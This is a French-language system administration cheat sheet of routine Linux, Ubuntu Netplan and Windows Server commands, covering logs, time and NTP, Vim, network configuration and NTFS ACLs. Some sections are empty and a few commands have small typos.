find /var/log/ -type f -mtime +<nbjours> -exec gz {} \;

Voir le top 10 des fichiers les plus lourds :

find /var/log -type f -exec du -Sh {} + | sort -rh | head -n 10

Vider toutes les lignes sauf les n dernières :

echo "$(tail -1000 /var/log/messages)" > /var/log/messages
echo -e "\n### Log reduced via purge command at $(date) ###\n" >> /var/log/messages

V. Date / Heure

Vérifier la date et l'heure :

timedatectl

Trouver la timezone et la paramétrer :

timedatectl list-timezones | grep <motclédelatimezone>
timedatectl set-timezone Region/Location

Ou pour le Paramétrer en UTC

timedatectl set-timezone UTC

Définir la date et l'heure :

timedatectl set-time yyyy-mm-dd
timedatectl set-time hh:mm:ss

Changer la source NTP :

Pour changer le serveur source de temps : Editer le fichier '/etc/systemd/timesyncd.conf'.

Redémarrer le service ntp :

systemctl restart systemd-timesyncd

VI. raccourcis VIM

copier les x prochaines lignes : xyy (exemple pour 3 lignes : 3yy)

couper les x prochaines lignes : xdd (exemple pour 3 lignes : 3dd)

coller la ou les ligne(s) copiées/coupées : p

chercher une chaîne de caractères : /chainedecaractères (pour chercher l'occurence suivante, appuyer sur 'n')

enregistrer : :w

eregistrer et quitter : :wq

quitter : :q

quitter sans enregistrer : :q!

Ubuntu

Ubuntu - Exemple configuration Netplan

I. Nouveau format (ipfixe):

network:
    ethernets:
        eth0:
            dhcp4: false
            addresses: [192.168.1.253/24]
            nameservers:
              addresses: [8.8.8.8, 8.8.4.4]
            routes:
              - to: default
                via: 192.168.1.254
    version: 2

II. En WIFI

network:
  version: 2
  wifis:
    wlp3s0:
      dhcp4: no
      dhcp6: no
      addresses: [192.168.80.222/24]
      nameservers:
        addresses: [192.168.80.1, 8.8.8.8]
      access-points:
        "bssid":
          password: "pass"
      routes:
        - to: default
          via: 192.168.80.32

III. Avec LAGG et VLAN

network:
  version: 2
  renderer: NetworkManager
  bonds:
    bond0:
      dhcp4: no
      interfaces: [enp4s0,enp0s31f6]
      parameters:
        lacp-rate: fast
        mode: 802.3ad
        transmit-hash-policy: layer2
        mii-monitor-interval: 100
  ethernets:
    enp4s0: {}
    enp0s31f6: {}
  vlans:
    bond0.30:
      dhcp4: no
      addresses: [192.168.1.225/24]
      gateway4: 192.168.1.254
      id: 30
      link: bond0
      routes:
        -to: 238.0.0.0
         via: 192.168.1.225
    bond0.31:
      dhcp4: no
      addresses: [172.20.6.225/16]
      gateway4: 172.20.0.254
      id: 31
      link: bond0
    bond0.33:
      dhcp4: no
      addresses: [192.168.33.95/24]
      gateway4: 192.168.33.254
      id: 33
      link: bond0
      nameservers:
        addresses: [192.168.33.11, 192.168.33.12]
Ubuntu

Ubuntu - système de fichier

Les systèmes de fichiers linux sont la plupars du temps organisés comme suit:

/ (la racine du système)

Windows

Windows

Windows - Commande diagnostic Active directory

Diagnostics arborescence

Diagnostic général

Diagnostic rôles

Diagnostic replication

Sites & services

Windows

Windows - Commandes windows core de base

Obtenir les informations systèmes :

systeminfo

Lancer powershell :

powershell

Lancer l’éditeur de registre :

regedit

Lancer le configurateur de serveur :

sconfig

Activer / désactiver un ou tous les firewall(s):

netsh advfirewall set <local|domain|public|allprofiles> state <on|off>

Vérifier si le proxy est présent :

netsh winhttp show proxy

Redémarrer le système immédiatement :

shutdown /r /t 00

Arrêter le système immédiatement :

shutdown /s /t 00

Monter / démonter un lecteur réseau (les options /persistent et /user sont facultatives) :

net use <lettreLecteur> <chemin UNC> /persistent /user:<username>
net use /delete <lettreLecteur>

Afficher le gestionnaire de tâches :

taskmgr

Afficher le magasin de certificats :

dir cert:/localmachine/<magasin>

Configurer un service : 

sc config [<ServiceName>] [type= {own | share | kernel | filesys | rec | adapt | interact type= {own | share}}] [start= {boot | system | auto | demand | disabled | delayed-auto}] [error= {normal | severe | critical | ignore}] [binpath= <BinaryPathName>] [group= <LoadOrderGroup>] [tag= {yes | no}] [depend= <dependencies>] [obj= {<AccountName> | <ObjectName>}] [displayname= <DisplayName>] [password= <Password>]

Voir les mises à jours Windows installées :

Get-Hotfix

Voir avec quel compte l’on est logué :

whoami

Activation Windows :

slmgr /ipk <ProductKey>
slmgr /ato

Paramétrage source NTP :

net stop w32time
w32tm /config /syncfromflags:manual /manualpeerlist:"<AdresseServerNTP>"
w32tm /config /reliable:yes
net start w32time
w32tm /config /update
w32tm /resync /rediscover
w32tm /query /status
Windows

Windows - Liste des url windows update

Windows

Windows - Matrice des permissions NTFS

I. Introduction

Lors de la création des acl avec powershell, il faut utiliser un formatage spécifique.

$acl.AddAccessRule([System.Security.AccessControl.FileSystemAccessRule]::new(
  "<groupeAD>", "ReadAndExecute","ContainerInherit,ObjectInherit","none","Allow"
  ))

Le document ci-dessous décrit les éléments attendus pour chaque attribut.

II. Valeurs attendues

2.1 Attribut 1 : Nom de groupe

Le premier attribut est le nom du groupe / utilisateur sur lequel les permissions vont s'appliquer. Celui-ci est au format 'Scope\Groupe'

Groupe / Utilisateur
Domaine\groupe
Builtin\groupe
groupe local
everyone
"NT AUTHORITY\SYSTEM"

2.2 Attribut 2 : Droits à appliquer

Le Second attribut contiennent le(s) droit(s) à appliquer. Il est possible d'en mettre plusieurs, en les séparant par une virgule.

exemple : "Read,Write,ReadAndExecute"

Ils sont de trois types :

2.3 Attribut 3 : Héritage

Le troisième attribut concerne la portée des droits.

Valeur Signification
None S'applique uniquement à ce dossier
ContainerInherit S'applique aux sous-dossiers
ObjectInherit S'applique aux fichiers
ContainerInherit,ObjectInherit S'applique aux sous-dossiers et aux fichiers

2.4 Attribut 4 : Propagation

Le quatrième attribut désigne la propagations des permissions.

Valeur Signification
None Héritage normal récursif.
NoPropagateInherit S'applique aux enfants direct mais pas en dessous.
InheritOnly S'applique uniquement aux enfants mais pas aux parents.

2.5 Attribut 5 : Type

Le dernier paramètre définit le type d'ACL. Deux types :

Info : Pour rappel, les ACL de type 'Deny' sont prioritaire par rapport à un 'Allow'.

Windows

Windows - Système de fichier

C:\ Racine du système